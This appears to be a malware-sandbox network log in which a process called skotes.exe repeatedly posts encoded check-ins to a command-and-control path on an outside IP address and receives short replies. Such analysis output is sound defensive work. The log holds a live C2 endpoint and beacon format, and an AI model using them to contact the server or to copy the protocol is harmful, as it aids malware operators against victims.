28	192.168.2.4	49841	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:36.459415913 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:05:37.843031883 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49847	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:39.593846083 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:05:40.989459991 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49856	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:42.634613037 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:05:44.067329884 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49863	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:45.871233940 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:05:47.237812042 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49869	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:49.056114912 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:05:50.476001978 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49875	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:52.225929022 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49881	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:54.570298910 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:05:56.011964083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49888	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:57.827334881 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:05:59.173651934 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49897	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:00.812028885 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:06:02.162616968 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49904	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:03.908236027 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:06:05.264944077 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49911	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:06.894304991 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:06:08.283004999 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49920	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:10.031481028 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:06:11.417792082 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49927	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:13.054321051 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:06:14.445947886 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49936	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:16.210306883 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:06:17.631123066 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49943	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:19.313404083 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:06:20.661566973 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49950	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:22.410317898 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:06:23.737821102 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49958	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:25.375991106 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:06:26.815258026 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49966	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:28.562911987 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:06:29.948574066 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49972	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:31.579967976 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:06:33.012403011 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49981	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:34.765495062 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:06:36.144484997 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49989	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:37.784779072 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:06:39.131372929 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49996	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:40.879148006 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:06:42.317635059 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50004	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:43.956376076 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:06:45.406469107 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50012	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:47.162555933 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
